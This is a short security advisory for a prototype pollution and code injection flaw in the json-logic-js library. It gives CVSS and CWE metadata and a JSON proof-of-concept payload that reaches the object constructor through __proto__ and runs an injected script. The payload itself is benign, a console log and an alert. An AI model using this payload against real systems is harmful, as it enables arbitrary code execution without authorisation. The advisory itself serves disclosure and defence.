#VU46701 Prototype pollution in json-logic-js
Published: September 14, 2020 / Updated: September 15, 2020
Vulnerability identifier: #VU46701
Vulnerability risk: Medium
CVSSv4.0: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:P/U:Green
CVE-ID: N/A
CWE-ID: CWE-94
Exploitation vector: Remote access
Exploit availability:
No public exploit available
Vulnerable software:
json-logic-js
json-logic-js
Software vendor:
Nicehop
Nicehop
Description
The disclosed vulnerability allows a remote attacker to perform code inection attacks.
The vulnerability exists due to insufficient sanitization of user-supplied data. A remote attacker can inject and execute arbitrary script code.
Example:
{
"method": [
{
"method": [
{
"var": "__proto__.constructor.is."
},
"constructor",
[
"var x = 'SECURITY!'; console.log(x, window.fetch); alert(x)"
]
]
},
"call"
]
}
Remediation
Cybersecurity Help is currently unaware of any official solution to address this vulnerability.